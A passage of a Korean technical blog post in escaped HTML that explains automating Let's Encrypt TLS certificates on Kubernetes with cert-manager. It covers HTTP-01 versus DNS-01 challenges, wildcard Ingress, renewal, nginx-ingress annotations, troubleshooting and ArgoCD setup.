          &lt;source srcset=&apos;/static/c2afcf812dc4f38d51cd241edb913209/f7886/diagram-cert-flow.png 215w,
/static/c2afcf812dc4f38d51cd241edb913209/bc750/diagram-cert-flow.png 430w,
/static/c2afcf812dc4f38d51cd241edb913209/3e3fe/diagram-cert-flow.png 860w,
/static/c2afcf812dc4f38d51cd241edb913209/64756/diagram-cert-flow.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/c2afcf812dc4f38d51cd241edb913209/3e3fe/diagram-cert-flow.png&apos; alt=&apos;Let&amp;#39;s Encrypt HTTP-01 인증서 발급 자동화 6단계 플로우 — Ingress 생성부터 Secret 저장까지&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;Let&amp;#39;s Encrypt HTTP-01 인증서 발급 자동화 6단계 플로우 — Ingress 생성부터 Secret 저장까지&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;적용:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;kubectl apply &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; nginx-ingress.yaml&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;진행 상황 추적:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 1. Certificate 리소스 자동 생성 확인&lt;/span&gt;
kubectl get certificate
&lt;span class=&quot;token comment&quot;&gt;# NAME       READY   SECRET     AGE&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# blog-tls   False   blog-tls   5s        ← 발급 중&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 2. Order + Challenge 확인&lt;/span&gt;
kubectl get order
kubectl get challenge

&lt;span class=&quot;token comment&quot;&gt;# 3. 성공 시&lt;/span&gt;
kubectl get certificate
&lt;span class=&quot;token comment&quot;&gt;# NAME       READY   SECRET     AGE&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# blog-tls   True    blog-tls   45s&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;보통 &lt;strong&gt;30초~1분&lt;/strong&gt; 내에 &lt;code class=&quot;language-text&quot;&gt;READY: True&lt;/code&gt;. 이제 &lt;code class=&quot;language-text&quot;&gt;https://blog.javapark.kr&lt;/code&gt; 접속하면 &lt;strong&gt;자동 발급된 인증서&lt;/strong&gt;로 연결됩니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;실전 팁:&lt;/strong&gt; Certificate가 오랫동안 &lt;code class=&quot;language-text&quot;&gt;False&lt;/code&gt;면 &lt;code class=&quot;language-text&quot;&gt;kubectl describe certificate blog-tls&lt;/code&gt;로 events 확인. 80%는 &lt;strong&gt;DNS가 아직 전파 안 됨&lt;/strong&gt; 또는 &lt;strong&gt;80번 포트가 인바운드 차단&lt;/strong&gt;된 경우.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;HTTP-01 vs DNS-01 챌린지&lt;/h2&gt;
&lt;p&gt;Let&apos;s Encrypt가 &quot;이 도메인이 정말 네 것이냐&quot;를 검증하는 방식이 두 가지.&lt;/p&gt;
&lt;h3&gt;HTTP-01 (기본, 가장 쉬움)&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;cert-manager → 특정 경로에 토큰 파일 임시 배치
Let&apos;s Encrypt → http://&amp;lt;domain&gt;/.well-known/acme-challenge/&amp;lt;token&gt; 접근 → 확인&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;조건:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;도메인이 공인 IP로 연결되어 있어야 함&lt;/li&gt;
&lt;li&gt;80번 포트가 공개되어야 함&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;불가능한 경우:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;내부망(VPN 뒤) 도메인&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;와일드카드(&lt;code class=&quot;language-text&quot;&gt;*.example.com&lt;/code&gt;) 인증서&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;DNS-01 (와일드카드·내부 도메인용)&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;cert-manager → DNS 공급자 API로 TXT 레코드 등록
Let&apos;s Encrypt → _acme-challenge.&amp;lt;domain&gt; TXT 레코드 조회 → 확인&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;조건:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DNS 공급자가 API 지원 (Cloudflare·Route53·Google Cloud DNS 등)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;장점:&lt;/strong&gt; 와일드카드 가능, 내부망 가능.&lt;/p&gt;
&lt;h3&gt;DNS-01 예시 (Cloudflare)&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; v1
&lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Secret
&lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; cloudflare&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;api&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;token
  &lt;span class=&quot;token key atrule&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; cert&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;manager
&lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Opaque
&lt;span class=&quot;token key atrule&quot;&gt;stringData&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;api-token&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &amp;lt;your&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;cloudflare&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;api&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;token&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; cert&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;manager.io/v1
&lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; ClusterIssuer
&lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; letsencrypt&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;dns
&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;acme&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; https&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//acme&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;v02.api.letsencrypt.org/directory
    &lt;span class=&quot;token key atrule&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; you@example.com
    &lt;span class=&quot;token key atrule&quot;&gt;privateKeySecretRef&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; letsencrypt&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;dns&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;account&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;key
    &lt;span class=&quot;token key atrule&quot;&gt;solvers&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;dns01&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;cloudflare&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token key atrule&quot;&gt;apiTokenSecretRef&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
              &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; cloudflare&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;api&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;token
              &lt;span class=&quot;token key atrule&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; api&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;token&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;와일드카드 인증서 — 서브도메인 통합&lt;/h2&gt;
&lt;p&gt;여러 서브도메인(&lt;code class=&quot;language-text&quot;&gt;api.dev.javapark.kr&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;admin.dev.javapark.kr&lt;/code&gt; …)을 &lt;strong&gt;한 인증서&lt;/strong&gt;로 커버.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; networking.k8s.io/v1
&lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Ingress
&lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; wildcard&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;ingress
  &lt;span class=&quot;token key atrule&quot;&gt;annotations&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;cert-manager.io/cluster-issuer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; letsencrypt&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;dns &lt;span class=&quot;token comment&quot;&gt;# DNS-01 필수&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;ingressClassName&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx
  &lt;span class=&quot;token key atrule&quot;&gt;tls&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;hosts&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;*.dev.javapark.kr&quot;&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;secretName&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; wildcard&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;dev&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;tls
  &lt;span class=&quot;token key atrule&quot;&gt;rules&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; api.dev.javapark.kr
      &lt;span class=&quot;token key atrule&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;paths&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; /
            &lt;span class=&quot;token key atrule&quot;&gt;pathType&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Prefix
            &lt;span class=&quot;token key atrule&quot;&gt;backend&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
              &lt;span class=&quot;token key atrule&quot;&gt;service&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; api&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;svc
                &lt;span class=&quot;token key atrule&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                  &lt;span class=&quot;token key atrule&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;80&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; admin.dev.javapark.kr
      &lt;span class=&quot;token key atrule&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;paths&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; /
            &lt;span class=&quot;token key atrule&quot;&gt;pathType&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Prefix
            &lt;span class=&quot;token key atrule&quot;&gt;backend&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
              &lt;span class=&quot;token key atrule&quot;&gt;service&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; admin&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;svc
                &lt;span class=&quot;token key atrule&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                  &lt;span class=&quot;token key atrule&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;80&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;와일드카드 하나 발급해두면 &lt;strong&gt;새 서브도메인 추가 시 인증서 재발급 없이&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;rules&lt;/code&gt;만 늘리면 됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;인증서 자동 갱신&lt;/h2&gt;
&lt;p&gt;cert-manager는 &lt;strong&gt;기본적으로 만료 30일 전에 자동 갱신&lt;/strong&gt;합니다. 별도 설정 불필요.&lt;/p&gt;
&lt;p&gt;직접 확인:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;kubectl get certificate
&lt;span class=&quot;token comment&quot;&gt;# NAME              READY   SECRET            AGE   RENEWAL&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# blog-tls          True    blog-tls          45d   2026-05-20&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 만료 시점 확인&lt;/span&gt;
kubectl describe certificate blog-tls &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-A&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Not After&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;수동으로 즉시 갱신 트리거:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;kubectl cert-manager renew blog-tls
&lt;span class=&quot;token comment&quot;&gt;# 또는&lt;/span&gt;
kubectl delete secret blog-tls  &lt;span class=&quot;token comment&quot;&gt;# Secret 지우면 재발급&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;자주 쓰는 부가 annotation&lt;/h2&gt;
&lt;p&gt;nginx-ingress 기준으로 실전에서 많이 쓰는 annotation들.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;annotations&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# cert-manager&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;cert-manager.io/cluster-issuer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; letsencrypt&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;prod

    &lt;span class=&quot;token comment&quot;&gt;# HTTPS 강제 (HTTP로 오면 301 → HTTPS)&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;nginx.ingress.kubernetes.io/force-ssl-redirect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;true&quot;&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# 큰 파일 업로드 (기본 1MB → 50MB)&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;nginx.ingress.kubernetes.io/proxy-body-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;50m&quot;&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# 타임아웃&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;nginx.ingress.kubernetes.io/proxy-read-timeout&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;60&quot;&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;nginx.ingress.kubernetes.io/proxy-send-timeout&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;60&quot;&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# CORS&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;nginx.ingress.kubernetes.io/enable-cors&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;true&quot;&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;nginx.ingress.kubernetes.io/cors-allow-origin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;https://app.example.com&quot;&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# 라우팅 재작성&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;nginx.ingress.kubernetes.io/rewrite-target&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; /$2&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 annotation들이 &lt;strong&gt;ingress-nginx 특화&lt;/strong&gt;라는 점 주의. traefik·istio 쓰면 문법이 다릅니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 겪는 이슈 5가지&lt;/h2&gt;
&lt;h3&gt;1) &quot;Certificate가 &lt;code class=&quot;language-text&quot;&gt;READY: False&lt;/code&gt;에서 안 넘어간다&quot;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;kubectl describe certificate &amp;lt;name&gt;&lt;/code&gt;&lt;/strong&gt; → Events 확인&lt;/li&gt;
&lt;li&gt;80%는 &lt;strong&gt;DNS 전파 안 됨&lt;/strong&gt; 또는 &lt;strong&gt;80번 포트 차단&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;staging으로 먼저 테스트했는지 확인 (rate limit 원인 배제)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2) &quot;Too many failed authorizations&quot;&lt;/h3&gt;
&lt;p&gt;Let&apos;s Encrypt rate limit 위반. 1주일 대기 또는 &lt;strong&gt;staging&lt;/strong&gt;으로 전환해 검증 후 prod로 교체.&lt;/p&gt;
&lt;h3&gt;3) &quot;Mixed content 에러&quot;&lt;/h3&gt;
&lt;p&gt;HTTPS 페이지 안에서 HTTP 리소스 로드. &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;force-ssl-redirect: &quot;true&quot;&lt;/code&gt;&lt;/strong&gt; + 애플리케이션 레벨에서 절대 URL을 https로 통일.&lt;/p&gt;
&lt;h3&gt;4) &quot;Ingress는 떴는데 404&quot;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;ingressClassName&lt;/code&gt; 지정 누락 → Controller가 Ingress를 &lt;strong&gt;무시&lt;/strong&gt;함&lt;/li&gt;
&lt;li&gt;path·pathType 불일치 (&lt;code class=&quot;language-text&quot;&gt;Prefix&lt;/code&gt; vs &lt;code class=&quot;language-text&quot;&gt;Exact&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Service name·port 오타&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5) &quot;갱신이 일어나지 않음&quot;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;kubectl describe certificate&lt;/code&gt; → 상태 확인&lt;/li&gt;
&lt;li&gt;cert-manager Pod 로그: &lt;code class=&quot;language-text&quot;&gt;kubectl logs -n cert-manager deploy/cert-manager&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;ArgoCD와 함께 쓰기&lt;/h2&gt;
&lt;p&gt;cert-manager·ingress-nginx 같은 &lt;strong&gt;플랫폼 컴포넌트&lt;/strong&gt;는 ArgoCD의 별도 Application으로 선언해두면 인프라 재현이 자동화됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; argoproj.io/v1alpha1
&lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Application
&lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; cert&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;manager
  &lt;span class=&quot;token key atrule&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; argocd
&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;project&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; platform
  &lt;span class=&quot;token key atrule&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;repoURL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; https&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//charts.jetstack.io
    &lt;span class=&quot;token key atrule&quot;&gt;chart&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; cert&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;manager
    &lt;span class=&quot;token key atrule&quot;&gt;targetRevision&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; v1.16.0
    &lt;span class=&quot;token key atrule&quot;&gt;helm&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
        installCRDs: true&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;destination&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; https&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//kubernetes.default.svc
    &lt;span class=&quot;token key atrule&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; cert&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;manager
  &lt;span class=&quot;token key atrule&quot;&gt;syncPolicy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;automated&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
